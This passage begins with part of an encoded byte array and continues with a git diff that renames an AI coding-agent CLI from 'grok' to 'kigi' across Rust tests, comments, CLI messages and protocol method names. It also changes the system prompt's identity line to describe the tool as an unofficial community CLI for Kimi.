35, 59, 161, 196, 212, 53, 51, 45, 57, 106, 59, 32, 44, 32, 111, 54, 62, 32, 115, 32, 61, 51, 119, 44, 56, 41, 48, 114, 87, 84, 11, 15, 65, 1, 17, 1, 4, 18, 2, 72, 8, 74, 5, 9, 26, 78, 31, 28, 16, 28, 95, 84, 22, 23, 27, 20, 89, 26, 95, 7, 6, 94, 11, 239, 238, 238, 240, 170, 231, 255, 216, 227, 224, 228, 239, 162, 253, 226, 238, 254, 177, 239, 238, 244, 181, 225, 254, 236, 241, 186, 250, 188, 238, 246, 240, 210, 213, 130, 207, 205, 214, 210, 135, 199, 207, 138, 154, 78, 45, 63, 220, 213, 223, 198, 214, 218, 214, 211, 151, 203, 205, 223, 203, 207, 157, 150, 209, 175, 225, 175, 172, 182, 160, 230, 179, 160, 168, 164, 235, 249, 224, 249, 239, 167, 190, 160, 183, 167, 245, 179, 182, 187, 177, 243, 251, 171, 180, 170, 183, 192, 128, 194, 131, 151, 145, 135, 147, 157, 154, 138, 203, 138, 130, 156, 207, 149, 144, 145, 155, 212, 134, 130, 146, 136, 217, 210, 155, 140, 152, 144, 155, 105, 111, 101, 99, 40, 37, 102, 110, 102, 86, 122, 121, 99, 106, 124, 106, 99, 98, 114, 63, 52, 122, 100, 55, 120, 122, 117, 118, 108, 113, 123, 107, 69, 69, 66, 10, 10, 47, 44, 112, 64, 76, 68, 11, 95, 89, 75, 95, 67, 17, 90, 82, 66, 80, 22, 85, 93, 92, 84, 27, 95, 82, 83, 79, 44, 36, 54, 38, 32, 105, 102, 50, 59, 44, 106, 43, 104, 54, 53, 111, 36, 62, 61, 63, 39, 123, 52, 46, 7, 50, 51, 53, 56, 115, 46, 51, 1, 15, 66, 30, 25, 5, 70, 19, 7, 73, 7, 10, 30, 6, 78, 10, 17, 18, 26, 83, 18, 28, 24, 30, 11, 17, 31, 31, 92, 14, 10, 26, 240, 161, 227, 240, 164, 229, 229, 232, 229, 249, 230, 238, 248, 232, 234, 239, 176, 240, 252, 247, 180, 225, 254, 242, 184, 247, 255, 227, 232, 189, 237, 235, 197, 209, 130, 218, 203, 208, 134, 198, 218, 204, 138, 220, 195, 223, 197, 198, 222, 214, 146, 220, 218, 149, 215, 196, 152, 217, 211, 213, 227, 205, 204, 208, 167, 179, 167, 176, 183, 165, 232, 231, 156, 161, 175, 185, 169, 237, 189, 167, 191, 164, 190, 183, 244, 180, 186, 160, 185, 160, 169, 251, 190, 184, 254, 186, 152, 128, 129, 151, 136, 156, 198, 136, 134, 140, 202, 139, 133, 131, 177, 159, 130, 158, 149, 129, 145, 134, 133, 151, 216, 138, 142, 158, 140, 221, 139, 145, 116, 104, 110, 35, 97, 115, 99, 117, 113, 125, 98, 98, 98, 106, 46, 102, 99, 49, 118, 124, 122, 112, 56, 55, 65, 118, 111, 59, 127, 124, 112, 63, 77, 64, 80, 72, 4, 72, 83, 75, 92, 64, 90, 71, 73, 13, 71, 91, 85, 92, 65, 19, 85, 70, 22, 84, 87, 84, 74, 87, 89, 73, 91, 31, 41, 47, 98, 34, 100, 54, 47, 41, 47, 37, 47, 107, 44, 105, 53, 52, 112, 37, 61, 60, 56, 38, 120, 53, 33, 6, 49, 50, 50, 57, 112, 47, 12, 0, 12, 67, 25, 24, 6, 71, 11, 8, 6, 7, 66, 103, 100, 38, 22, 81, 19, 31, 24, 85, 5, 3, 29, 9, 9, 91, 29, 15, 27, 95, 227, 238, 239, 243, 232, 224, 242, 226, 164, 169, 239, 229, 255, 248, 252, 234, 176, 232, 253, 230, 180, 246, 247, 251, 244, 185, 250, 191, 231, 230, 190, 235, 207, 206, 206, 208, 138, 199, 223, 248, 195, 192, 196, 207, 130, 221, 194, 206, 222, 145, 207, 206, 212, 149, 194, 216, 152, 212, 219, 201, 215, 157, 223, 211, 172, 225, 177, 183, 161, 181, 181, 231, 169, 186, 234, 171, 175, 162, 163, 191, 188, 180, 166, 182, 176, 181, 248, 221, 252, 162, 255, 246, 252, 184, 176, 187, 137, 135, 194, 198, 153];
diff --git a/crates/codegen/kigi-agent/src/prompt/skills.rs b/crates/codegen/kigi-agent/src/prompt/skills.rs
index 4a4500b..4c0c983 100644
--- a/crates/codegen/kigi-agent/src/prompt/skills.rs
+++ b/crates/codegen/kigi-agent/src/prompt/skills.rs
@@ -832,12 +832,12 @@ mod tests {
     fn find_skill_paths_flat_layout() {
         // Traditional flat layout: skills/<name>/SKILL.md
         let tmp = tempfile::tempdir().unwrap();
-        let grok_dir = tmp.path().join(".kigi");
+        let kigi_dir = tmp.path().join(".kigi");
 
-        write_skill_md(&grok_dir.join("skills").join("alpha"), "alpha");
-        write_skill_md(&grok_dir.join("skills").join("beta"), "beta");
+        write_skill_md(&kigi_dir.join("skills").join("alpha"), "alpha");
+        write_skill_md(&kigi_dir.join("skills").join("beta"), "beta");
 
-        let paths = find_skill_paths(&grok_dir);
+        let paths = find_skill_paths(&kigi_dir);
         assert_eq!(paths.len(), 2);
         assert!(paths.iter().all(|p| p.file_name().unwrap() == "SKILL.md"));
     }
@@ -846,13 +846,13 @@ mod tests {
     fn find_skill_paths_nested_layout() {
         // Nested: skills/team/infra/SKILL.md, skills/team/training/SKILL.md
         let tmp = tempfile::tempdir().unwrap();
-        let grok_dir = tmp.path().join(".kigi");
-        let skills = grok_dir.join("skills");
+        let kigi_dir = tmp.path().join(".kigi");
+        let skills = kigi_dir.join("skills");
 
         write_skill_md(&skills.join("team").join("infra"), "infra");
         write_skill_md(&skills.join("team").join("training"), "training");
 
-        let paths = find_skill_paths(&grok_dir);
+        let paths = find_skill_paths(&kigi_dir);
         assert_eq!(paths.len(), 2);
 
         let path_strs: Vec<String> = paths.iter().map(|p| p.display().to_string()).collect();
@@ -864,8 +864,8 @@ mod tests {
     fn find_skill_paths_mixed_flat_and_nested() {
         // Mix of flat and nested skills
         let tmp = tempfile::tempdir().unwrap();
-        let grok_dir = tmp.path().join(".kigi");
-        let skills = grok_dir.join("skills");
+        let kigi_dir = tmp.path().join(".kigi");
+        let skills = kigi_dir.join("skills");
 
         // Flat
         write_skill_md(&skills.join("top-level"), "top-level");
@@ -874,7 +874,7 @@ mod tests {
         // Nested 2 levels
         write_skill_md(&skills.join("org").join("team").join("deep"), "deep");
 
-        let paths = find_skill_paths(&grok_dir);
+        let paths = find_skill_paths(&kigi_dir);
         assert_eq!(paths.len(), 3);
     }
 
@@ -882,8 +882,8 @@ mod tests {
     fn find_skill_paths_dir_without_skill_md_is_skipped() {
         // A subdirectory exists but has no SKILL.md — should not appear
         let tmp = tempfile::tempdir().unwrap();
-        let grok_dir = tmp.path().join(".kigi");
-        let skills = grok_dir.join("skills");
+        let kigi_dir = tmp.path().join(".kigi");
+        let skills = kigi_dir.join("skills");
 
         write_skill_md(&skills.join("valid"), "valid");
         // Create a dir with no SKILL.md
@@ -893,7 +893,7 @@ mod tests {
         fs::create_dir_all(&other).unwrap();
         fs::write(other.join("README.md"), "not a skill").unwrap();
 
-        let paths = find_skill_paths(&grok_dir);
+        let paths = find_skill_paths(&kigi_dir);
         assert_eq!(paths.len(), 1);
         assert!(paths[0].display().to_string().contains("valid"));
     }
@@ -902,10 +902,10 @@ mod tests {
     fn find_skill_paths_no_skills_dir() {
         // .kigi exists but no skills/ subdirectory
         let tmp = tempfile::tempdir().unwrap();
-        let grok_dir = tmp.path().join(".kigi");
-        fs::create_dir_all(&grok_dir).unwrap();
+        let kigi_dir = tmp.path().join(".kigi");
+        fs::create_dir_all(&kigi_dir).unwrap();
 
-        let paths = find_skill_paths(&grok_dir);
+        let paths = find_skill_paths(&kigi_dir);
         assert!(paths.is_empty());
     }
 
@@ -944,15 +944,15 @@ mod tests {
     fn find_skill_paths_parent_and_child_both_have_skill_md() {
         // A directory has SKILL.md and also has subdirectories with SKILL.md
         let tmp = tempfile::tempdir().unwrap();
-        let grok_dir = tmp.path().join(".kigi");
-        let skills = grok_dir.join("skills");
+        let kigi_dir = tmp.path().join(".kigi");
+        let skills = kigi_dir.join("skills");
 
         // Parent skill
         write_skill_md(&skills.join("parent"), "parent-skill");
         // Child skill inside parent
         write_skill_md(&skills.join("parent").join("child"), "child-skill");
 
-        let paths = find_skill_paths(&grok_dir);
+        let paths = find_skill_paths(&kigi_dir);
         assert_eq!(paths.len(), 2);
 
         let path_strs: Vec<String> = paths.iter().map(|p| p.display().to_string()).collect();
@@ -1108,9 +1108,9 @@ mod tests {
 
     #[test]
     fn parse_model_and_effort() {
-        let content = "---\nname: my-skill\ndescription: test\nmodel: grok-3\neffort: high\n---\n";
+        let content = "---\nname: my-skill\ndescription: test\nmodel: kigi-3\neffort: high\n---\n";
         let parsed = parse_skill_frontmatter(content, None).unwrap();
-        assert_eq!(parsed.model.as_deref(), Some("grok-3"));
+        assert_eq!(parsed.model.as_deref(), Some("kigi-3"));
         assert_eq!(parsed.effort.as_deref(), Some("high"));
     }
 
@@ -1251,7 +1251,7 @@ mod tests {
     #[test]
     fn parse_full_spec_plus_extensions() {
         // Mixed agentskills.io spec fields + our extensions — all must parse.
-        let content = "---\nname: my-skill\ndescription: A full skill\nlicense: MIT\ncompatibility: Python 3.12+\nmetadata:\n  author: test-org\n  version: \"2.0\"\nallowed-tools:\n  - bash\n  - read_file\nargument-hint: file path\nmodel: grok-3\neffort: high\nuser-invocable: true\ndisable-model-invocation: false\n---\nBody content.\n";
+        let content = "---\nname: my-skill\ndescription: A full skill\nlicense: MIT\ncompatibility: Python 3.12+\nmetadata:\n  author: test-org\n  version: \"2.0\"\nallowed-tools:\n  - bash\n  - read_file\nargument-hint: file path\nmodel: kigi-3\neffort: high\nuser-invocable: true\ndisable-model-invocation: false\n---\nBody content.\n";
         let parsed = parse_skill_frontmatter(content, None).unwrap();
         assert_eq!(parsed.name, "my-skill");
         assert_eq!(parsed.description, "A full skill");
@@ -1263,7 +1263,7 @@ mod tests {
             Some(["bash".to_string(), "read_file".to_string()].as_slice())
         );
         assert_eq!(parsed.argument_hint.as_deref(), Some("file path"));
-        assert_eq!(parsed.model.as_deref(), Some("grok-3"));
+        assert_eq!(parsed.model.as_deref(), Some("kigi-3"));
         assert_eq!(parsed.effort.as_deref(), Some("high"));
         assert!(parsed.user_invocable);
         assert!(!parsed.disable_model_invocation);
@@ -1575,7 +1575,7 @@ mod tests {
             root: root.clone(),
             canonical_root: root.clone(),
             scope: PluginScope::User,
-            origin: crate::plugins::PluginOrigin::UserGrok,
+            origin: crate::plugins::PluginOrigin::UserKigi,
             trusted: true,
             enabled: true,
             version: Some("1.0.0".to_string()),
@@ -1653,7 +1653,7 @@ mod tests {
             root: root.to_path_buf(),
             canonical_root: root.to_path_buf(),
             scope: PluginScope::User,
-            origin: crate::plugins::PluginOrigin::UserGrok,
+            origin: crate::plugins::PluginOrigin::UserKigi,
             trusted: true,
             skill_dirs,
             command_dirs: vec![],
@@ -2323,7 +2323,7 @@ mod tests {
             root: root.clone(),
             canonical_root: root,
             scope: PluginScope::Project,
-            origin: crate::plugins::PluginOrigin::ProjectGrok,
+            origin: crate::plugins::PluginOrigin::ProjectKigi,
             trusted: true,
             enabled: true,
             version: Some("1.0.0".to_string()),
@@ -2458,7 +2458,7 @@ mod tests {
             "cursor must be gated off: {dirs:?}"
         );
         assert!(ends_with(&dirs, ".claude"), "claude must remain: {dirs:?}");
-        assert!(ends_with(&dirs, ".kigi"), "grok must remain: {dirs:?}");
+        assert!(ends_with(&dirs, ".kigi"), "kigi must remain: {dirs:?}");
     }
 
     // ── Same-scope frontmatter-name collisions (copied skill dirs) ──────
diff --git a/crates/codegen/kigi-agent/src/prompt/template.rs b/crates/codegen/kigi-agent/src/prompt/template.rs
index 672fae1..470311a 100644
--- a/crates/codegen/kigi-agent/src/prompt/template.rs
+++ b/crates/codegen/kigi-agent/src/prompt/template.rs
@@ -32,7 +32,7 @@ pub(crate) fn base_template() -> Zeroizing<String> {
     decrypt(BASE_PROMPT_ENC, PROMPT_SEEDS[0])
 }
 
-/// The base prompt template source, exposed for `grok prompt --section template`.
+/// The base prompt template source, exposed for `kigi prompt --section template`.
 pub fn base_template_source() -> Zeroizing<String> {
     base_template()
 }
@@ -41,7 +41,7 @@ pub(crate) fn apply_patch_template() -> Zeroizing<String> {
     decrypt(CODEX_PROMPT_ENC, PROMPT_SEEDS[1])
 }
 
-/// Apply-patch prompt template source, exposed for `grok prompt --section apply-patch-template`.
+/// Apply-patch prompt template source, exposed for `kigi prompt --section apply-patch-template`.
 pub fn apply_patch_template_source() -> Zeroizing<String> {
     apply_patch_template()
 }
@@ -93,7 +93,7 @@ mod tests {
         );
     }
 
-    /// Build a TemplateRenderer with the standard grok-build tool kinds.
+    /// Build a TemplateRenderer with the standard kigi tool kinds.
     fn default_renderer() -> TemplateRenderer {
         let tools: HashMap<ToolKind, String> = [
             (ToolKind::Read, "read_file"),
diff --git a/crates/codegen/kigi-agent/src/prompt/user_message.rs b/crates/codegen/kigi-agent/src/prompt/user_message.rs
index 95d6e61..cf0c077 100644
--- a/crates/codegen/kigi-agent/src/prompt/user_message.rs
+++ b/crates/codegen/kigi-agent/src/prompt/user_message.rs
@@ -5,7 +5,7 @@
 //! workspace overview, optional rules / skills / MCP listings).
 //!
 //! `UserMessageTemplate` selects the rendering strategy:
-//! - `Default` -- the legacy Grok Build prefix (built by the shell layer).
+//! - `Default` -- the legacy Kigi prefix (built by the shell layer).
 //! - `Custom`  -- caller-supplied template string (MiniJinja, same delimiters
 //!   as the system prompt templates).
 //!
@@ -63,7 +63,7 @@ fn normalize_git_status(status: &str) -> Option<String> {
 #[derive(Debug, Clone, PartialEq, Eq, Serialize, Default)]
 #[serde(rename_all = "snake_case")]
 pub enum UserMessageTemplate {
-    /// Legacy Grok Build prefix: `<user_info>` + optional `<git_status>`.
+    /// Legacy Kigi prefix: `<user_info>` + optional `<git_status>`.
     /// Built directly by the shell layer; this
     ///   renderer returns `None` for `Default` and the caller falls back to
     ///   its own legacy path.
diff --git a/crates/codegen/kigi-agent/src/timing.rs b/crates/codegen/kigi-agent/src/timing.rs
index 27a7218..0126573 100644
--- a/crates/codegen/kigi-agent/src/timing.rs
+++ b/crates/codegen/kigi-agent/src/timing.rs
@@ -1,4 +1,4 @@
-const TARGET: &str = "xai_grok_instrumentation";
+const TARGET: &str = "xai_kigi_instrumentation";
 
 pub struct TimingGuard {
     name: &'static str,
diff --git a/crates/codegen/kigi-agent/templates/prompt.md b/crates/codegen/kigi-agent/templates/prompt.md
index 39aa7b2..043cbc0 100644
--- a/crates/codegen/kigi-agent/templates/prompt.md
+++ b/crates/codegen/kigi-agent/templates/prompt.md
@@ -1,4 +1,4 @@
-You are ${{ system_prompt_label }} released by xAI. You are ${%- if is_non_interactive %} an autonomous agent that completes software engineering tasks.${%- else %} an interactive CLI tool that helps users with software engineering tasks.${%- endif %} Your main goal is to complete the user's request, denoted within the <user_query> tag.
+You are ${{ system_prompt_label }}, an unofficial community CLI for Kimi. You are ${%- if is_non_interactive %} an autonomous agent that completes software engineering tasks.${%- else %} an interactive CLI tool that helps users with software engineering tasks.${%- endif %} Your main goal is to complete the user's request, denoted within the <user_query> tag.
 
 <action_safety>
 Weigh each action by how easily it can be undone and how far its effects reach. Local, reversible work such as editing files and running tests is fine to do freely. Before executing any actions that are hard to reverse, reach shared external systems, or are otherwise risky or destructive, check with the user first.
diff --git a/crates/codegen/kigi-auth/src/auth_provider.rs b/crates/codegen/kigi-auth/src/auth_provider.rs
index 36dbd71..23f010d 100644
--- a/crates/codegen/kigi-auth/src/auth_provider.rs
+++ b/crates/codegen/kigi-auth/src/auth_provider.rs
@@ -35,7 +35,7 @@ pub trait AuthCredentialProvider: HttpAuth + Send + Sync + 'static {
     /// Return the current credential snapshot. Implementations should
     /// issue a cheap disk re-read (`AuthManager::refresh`) before
     /// snapshotting so callers see updates from sibling processes
-    /// (`grok-desktop`, `kigi login`). The `token` field MUST mirror
+    /// (`kigi-desktop`, `kigi login`). The `token` field MUST mirror
     /// the bearer that `HttpAuth::apply` would send on the wire so
     /// 401-attribution prefixes match the actual request.
     fn snapshot(&self) -> CredentialSnapshot;
diff --git a/crates/codegen/kigi-bin/src/main.rs b/crates/codegen/kigi-bin/src/main.rs
index 144efff..9ac40f8 100644
--- a/crates/codegen/kigi-bin/src/main.rs
+++ b/crates/codegen/kigi-bin/src/main.rs
@@ -48,7 +48,7 @@ fn apply_agent_endpoint_args(agent_args: &kigi_tui::app::AgentArgs, config: &mut
         config.endpoints.coding_api_base_url = Some(v.clone());
     }
     if let Some(v) = &agent_args.api_base_url {
-        config.endpoints.api_base_url = v.clone();
+        config.endpoints.api_base_url = Some(v.clone());
     }
 }
 /// Resolve --agent-profile path: canonicalize and verify the file exists.
@@ -71,7 +71,7 @@ fn resolve_agent_profile_path(path: &std::path::Path) -> std::path::PathBuf {
 /// Print startup information for the serve command.
 fn print_serve_startup_info(bind_addr: SocketAddr, secret: &str) {
     eprintln!();
-    eprintln!("   Grok agent server starting...");
+    eprintln!("   Kigi agent server starting...");
     eprintln!();
     eprintln!("   Address:  {}:{}", bind_addr.ip(), bind_addr.port());
     eprintln!("   Secret:   {}", secret);
@@ -82,7 +82,7 @@ fn print_serve_startup_info(bind_addr: SocketAddr, secret: &str) {
     );
     eprintln!();
 }
-/// Entrypoint tag for `grok -p`; keys the quiet stderr default in `init_tracing_simple`.
+/// Entrypoint tag for `kigi -p`; keys the quiet stderr default in `init_tracing_simple`.
 const HEADLESS_ENTRYPOINT: &str = "headless";
 /// Initialize simple tracing for non-TUI agent modes.
 fn init_tracing_simple(app_entrypoint: &'static str) {
@@ -112,7 +112,7 @@ fn init_tracing_simple(app_entrypoint: &'static str) {
         .with(kigi_log::hooks_log::layer());
     kigi_log::debug_log::install_firehose(registry, app_entrypoint);
 }
-/// `grok setup`: rendering + exit codes only; fetch logic lives in `kigi_shell::managed_config`.
+/// `kigi setup`: rendering + exit codes only; fetch logic lives in `kigi_shell::managed_config`.
 /// `json` prints the served configuration instead of installing it.
 async fn run_setup_command(json: bool) {
     use kigi_shell::managed_config::{self, SetupOutcome};
@@ -127,7 +127,7 @@ async fn run_setup_command(json: bool) {
         } else {
             eprintln!("  $env:KIGI_DEPLOYMENT_KEY=\"<your-key>\"");
         }
-        eprintln!("  grok setup");
+        eprintln!("  kigi setup");
         eprintln!();
         eprintln!("Or add the key to ~/.kigi/config.toml:");
         eprintln!();
@@ -135,7 +135,7 @@ async fn run_setup_command(json: bool) {
         eprintln!("  deployment_key = \"<your-key>\"");
         eprintln!();
         eprintln!(
-            "If you don't have a deployment key, contact your organization's Grok administrator."
+            "If you don't have a deployment key, contact your organization's Kigi administrator."
         );
         std::process::exit(1);
     }
@@ -147,7 +147,7 @@ async fn run_setup_command(json: bool) {
                 println!("{out}");
                 if !report.configured {
                     eprintln!(
-                        "Your team doesn't have a managed configuration yet. A team admin can set one up at console.x.ai."
+                        "Your team doesn't have a managed configuration yet. Ask a team admin to provision one."
                     );
                 }
             }
@@ -162,7 +162,7 @@ async fn run_setup_command(json: bool) {
         SetupOutcome::Installed => eprintln!("Applied managed configuration."),
         SetupOutcome::NothingConfigured => {
             eprintln!(
-                "Your team doesn't have a managed configuration yet. A team admin can set one up at console.x.ai."
+                "Your team doesn't have a managed configuration yet. Ask a team admin to provision one."
             );
         }
         SetupOutcome::Failed(e) => {
@@ -229,9 +229,9 @@ async fn kill_leaders() -> Result<()> {
         let Some(pid) = leader_pid(d) else {
             continue;
         };
-        if !kigi_shell::util::is_grok_process(pid) {
+        if !kigi_shell::util::is_kigi_process(pid) {
             if let Some(ref lock) = d.lock_path {
-                eprintln!("  PID {pid} is not a grok process, removing stale lock");
+                eprintln!("  PID {pid} is not a kigi process, removing stale lock");
                 let _ = std::fs::remove_file(lock);
                 cleaned += 1;
             }
@@ -274,7 +274,7 @@ async fn connect_to_leader(
         .ok_or_else(|| anyhow::anyhow!("resolved leader target did not include a socket path"))?;
     let client = kigi_shell::leader::LeaderClient::connect(
         socket_path.to_path_buf(),
-        "grok-pager-leader-cli",
+        "kigi-pager-leader-cli",
         ClientMode::Stdio,
         ClientCapabilities::default(),
     )
@@ -354,7 +354,7 @@ struct StdioReplayState {
     /// old leader and is its to retry).
     pending_new: Option<CachedSession>,
     /// Most recently created/loaded session id — reported in
-    /// `x.ai/leader_reconnected` as the primary restored session.
+    /// `kigi/leader_reconnected` as the primary restored session.
     last_session_id: Option<String>,
 }
 impl StdioReplayState {
@@ -422,7 +422,7 @@ fn cache_outgoing_acp_state(msg: &str, state: &std::sync::Mutex<StdioReplayState
                     .and_then(|m| serde_json::to_string(m).ok()),
             });
         }
-        "x.ai/session/close" | "_x.ai/session/close" => {
+        "kigi/session/close" | "_kigi/session/close" => {
             if let Some(sid) = json
                 .get("params")
                 .and_then(|p| p.get("sessionId").or_else(|| p.get("session_id")))
@@ -454,7 +454,7 @@ fn cache_incoming_session_id(msg: &str, state: &std::sync::Mutex<StdioReplayStat
 /// Synthetic JSON-RPC id for the `session/load` the bridge constructs itself
 /// (when the external client only ever sent `session/new`). A string id can
 /// never collide with a numeric id the external client may have in flight.
-const REPLAY_LOAD_REQUEST_ID: &str = "x.ai/leader-replay/session-load";
+const REPLAY_LOAD_REQUEST_ID: &str = "kigi/leader-replay/session-load";
 /// Max silence between two messages from the leader during a replayed request.
 /// A `session/load` streams replay notifications continuously once it starts,
 /// but the pre-replay phase (MCP resolution, session file reads) can be quiet
@@ -587,7 +587,7 @@ fn replay_load_json(sid: &str, cached: &CachedSession) -> Option<String> {
 /// Returns the primary restored session id (the most recently active one,
 /// falling back to any successfully restored session). `None` when there was
 /// nothing to replay or every restore failed — callers emit
-/// `x.ai/leader_reconnected` with empty params in that case, signalling the
+/// `kigi/leader_reconnected` with empty params in that case, signalling the
 /// external client to re-establish state itself.
 async fn replay_acp_state_after_reconnect(
     tx: &tokio::sync::mpsc::UnboundedSender<String>,
@@ -657,7 +657,7 @@ fn shutdown_and_flush_telemetry(exit_code: i32) -> ! {
 }
 /// Emitted by both leader guards (server mode and leader-connect) so the two sites
 /// can't drift.
-const PLUGIN_DIR_LEADER_WARNING: &str = "grok: --plugin-dir is ignored in leader mode; run with --no-leader to \
+const PLUGIN_DIR_LEADER_WARNING: &str = "kigi: --plugin-dir is ignored in leader mode; run with --no-leader to \
      load per-process plugins";
 /// Run the `agent` subcommand, dispatching to the appropriate mode.
 async fn run_agent_command(
@@ -743,7 +743,7 @@ async fn run_agent_command(
         None,
     );
     if let Some(warning) = launch_yolo.blocked_warning {
-        eprintln!("grok: {warning}");
+        eprintln!("kigi: {warning}");
     }
     agent_config.default_yolo_mode = launch_yolo.yolo;
     agent_config.default_auto_mode = kigi_shell::util::config::effective_auto_for_launch(
@@ -916,7 +916,7 @@ async fn run_agent_command(
                                             None => "{}".to_string(),
                                         };
                                         let notification = format!(
-                                            r#"{{"jsonrpc":"2.0","method":"x.ai/leader_reconnected","params":{params}}}"#
+                                            r#"{{"jsonrpc":"2.0","method":"kigi/leader_reconnected","params":{params}}}"#
                                         );
                                         let _ = stdout.write_all(notification.as_bytes()).await;
                                         let _ = stdout.write_all(b"\n").await;
@@ -1051,12 +1051,12 @@ fn raise_fd_limit() {
 fn raise_fd_limit() {}
 /// Single audit point for the `Command::Dashboard` soft-subcommand.
 /// Sets `KIGI_OPEN_DASHBOARD_AT_STARTUP=1` if the user asked for
-/// `grok dashboard`, and clears `args.command` so the regular
+/// `kigi dashboard`, and clears `args.command` so the regular
 /// subcommand match doesn't try to handle it.
 ///
 /// The dashboard is independent of leader mode — it renders local
 /// sessions and, when a leader happens to be present, additionally shows
-/// the leader roster — so `grok dashboard` does NOT force leader mode and
+/// the leader roster — so `kigi dashboard` does NOT force leader mode and
 /// is compatible with `--no-leader`.
 ///
 /// The only gate is the feature flag: a disabled dashboard
@@ -1185,10 +1185,10 @@ fn main() {
     kigi_tui::memory_trace::start(kigi_shell::util::kigi_home::kigi_home().join("memtrace"));
     raise_fd_limit();
     if let Err(e) = kigi_config::validate_requirements() {
-        eprintln!("Couldn't start Grok: {e}");
+        eprintln!("Couldn't start Kigi: {e}");
         eprintln!();
         eprintln!(
-            "Update Grok to a version the policy allows, or ask your administrator \
+            "Update Kigi to a version the policy allows, or ask your administrator \
              to fix the managed requirements."
         );
         std::process::exit(2);
@@ -1198,7 +1198,7 @@ fn main() {
     if kigi_shell::util::config::load_crash_handler_enabled_sync() {
         let crash_dir = kigi_shell::util::kigi_home::kigi_home().join("crash");
         if let Some(report) = kigi_crash_handler::check_previous_crash(&crash_dir) {
-            eprintln!("Grok crashed during your last session.");
+            eprintln!("Kigi crashed during your last session.");
             eprintln!("  Signal:  {}", report.signal_name);
             eprintln!("  Version: {}", report.app_version);
             eprintln!("  Report:  {}", report.report_path.display());
@@ -1244,7 +1244,7 @@ async fn async_main() -> Result<()> {
     }
     if args.chat() {
         anyhow::bail!(
-            "--chat is no longer supported: the grok.com chat frontend it drove was \
+            "--chat is no longer supported: the kimi.com chat frontend it drove was \
              removed along with the xAI backend."
         );
     }
@@ -1307,7 +1307,7 @@ async fn async_main() -> Result<()> {
         && args.prompt_json.is_none()
         && args.prompt_file.is_none();
     kigi_shell::http::set_client_name(if is_interactive {
-        kigi_workspace::permission::ClientType::GrokPager
+        kigi_workspace::permission::ClientType::KigiPager
     } else {
         kigi_workspace::permission::ClientType::Generic
     });
@@ -1323,7 +1323,7 @@ async fn async_main() -> Result<()> {
                     println!("{}", serde_json::to_string(&payload)?);
                 } else {
                     println!(
-                        "grok {}",
+                        "kigi {}",
                         kigi_version::display_version_with_commit(
                             env!("VERSION_WITH_COMMIT"),
                             kigi_update::channel_label(),
@@ -1359,7 +1359,7 @@ async fn async_main() -> Result<()> {
                     };
                     anyhow::bail!(
                         "top-level {flag} applies to the pager TUI, not the agent subcommand. \
-                         Use `grok-pager agent {flag}` instead."
+                         Use `kigi-pager agent {flag}` instead."
                     );
                 }
                 enforce_minimum_version_or_exit(&update_config).await;
@@ -1501,7 +1501,7 @@ async fn async_main() -> Result<()> {
             None,
         );
         if let Some(warning) = launch_yolo.blocked_warning {
-            eprintln!("grok: {warning}");
+            eprintln!("kigi: {warning}");
         }
         let json_schema = args
             .json_schema
@@ -1583,9 +1583,9 @@ async fn async_main() -> Result<()> {
         Ok(true) => {
             let adopted = bg_update_wait.lock().await.take();
             if finish_update_on_exit(adopted, &update_config).await {
-                eprintln!("Update installed. Run `grok` to start.");
+                eprintln!("Update installed. Run `kigi` to start.");
             } else {
-                eprintln!("Update did not complete. Run `grok update` to retry.");
+                eprintln!("Update did not complete. Run `kigi update` to retry.");
             }
             Ok(())
         }
@@ -1596,11 +1596,11 @@ async fn async_main() -> Result<()> {
 /// Complete the update after a quit-for-update (Ctrl+U) exit. Returns `true`
 /// when an update path completed without a reported failure.
 ///
-/// Prefers awaiting the parked waiter for the background `grok update` child
+/// Prefers awaiting the parked waiter for the background `kigi update` child
 /// spawned at startup — the download is usually already done or in flight.
 /// Only when there is no waiter (spawn failed, or no download was needed
 /// because the target was already on disk) or the child failed does this
-/// fall back to a fresh blocking `grok update`, which itself resolves to
+/// fall back to a fresh blocking `kigi update`, which itself resolves to
 /// "Already up to date" without downloading when the disk is current.
 async fn finish_update_on_exit(
     adopted: Option<tokio::task::JoinHandle<std::io::Result<std::process::ExitStatus>>>,
@@ -1700,7 +1700,7 @@ fn get_channel_switch(alpha: bool, stable: bool, enterprise: bool) -> Option<&'s
         None
     }
 }
-/// Handle `grok-pager update [--check] [--json] [--force-reinstall] [--version X] [--alpha|--stable|--enterprise]`.
+/// Handle `kigi-pager update [--check] [--json] [--force-reinstall] [--version X] [--alpha|--stable|--enterprise]`.
 async fn run_update_command(
     check: bool,
     json: bool,
@@ -1742,7 +1742,7 @@ async fn run_update_command(
     }
     Ok(())
 }
-/// After a successful `grok update`, ask any running leader on this machine that
+/// After a successful `kigi update`, ask any running leader on this machine that
 /// is older than `installed_version` to relaunch onto the new binary (bounded
 /// grace; running sessions close and reconnect via `session/load`).
 ///
@@ -1764,7 +1764,7 @@ async fn signal_leaders_to_relaunch(installed_version: &str) {
         }
         let client = match kigi_shell::leader::LeaderClient::connect(
             socket_path,
-            "grok-pager-update",
+            "kigi-pager-update",
             ClientMode::Stdio,
             ClientCapabilities::default(),
         )
@@ -1839,13 +1839,13 @@ mod tests {
         );
     }
     use clap::Parser as _;
-    /// `grok dashboard` flags the startup hook without forcing leader mode —
+    /// `kigi dashboard` flags the startup hook without forcing leader mode —
     /// the dashboard is independent of leader mode, so the launch keeps
     /// whatever leader setting the user (or config) chose.
     #[serial_test::serial(KIGI_AGENT_DASHBOARD)]
     #[test]
     fn dashboard_subcommand_flags_startup_without_forcing_leader() {
-        let mut args = PagerArgs::try_parse_from(["grok", "dashboard"]).unwrap();
+        let mut args = PagerArgs::try_parse_from(["kigi", "dashboard"]).unwrap();
         assert!(!args.leader, "fixture: no explicit --leader");
         flag_dashboard_at_startup_if_requested(&mut args).unwrap();
         assert!(!args.leader, "dashboard must NOT force leader mode");
@@ -1860,13 +1860,13 @@ mod tests {
         );
         unsafe { std::env::remove_var("KIGI_OPEN_DASHBOARD_AT_STARTUP") };
     }
-    /// `grok dashboard --no-leader` is allowed — the dashboard does not
+    /// `kigi dashboard --no-leader` is allowed — the dashboard does not
     /// require a leader, so the combination launches into the dashboard in
     /// non-leader mode.
     #[serial_test::serial(KIGI_AGENT_DASHBOARD)]
     #[test]
     fn dashboard_subcommand_allows_no_leader() {
-        let mut args = PagerArgs::try_parse_from(["grok", "--no-leader", "dashboard"]).unwrap();
+        let mut args = PagerArgs::try_parse_from(["kigi", "--no-leader", "dashboard"]).unwrap();
         flag_dashboard_at_startup_if_requested(&mut args)
             .expect("--no-leader + dashboard must be allowed");
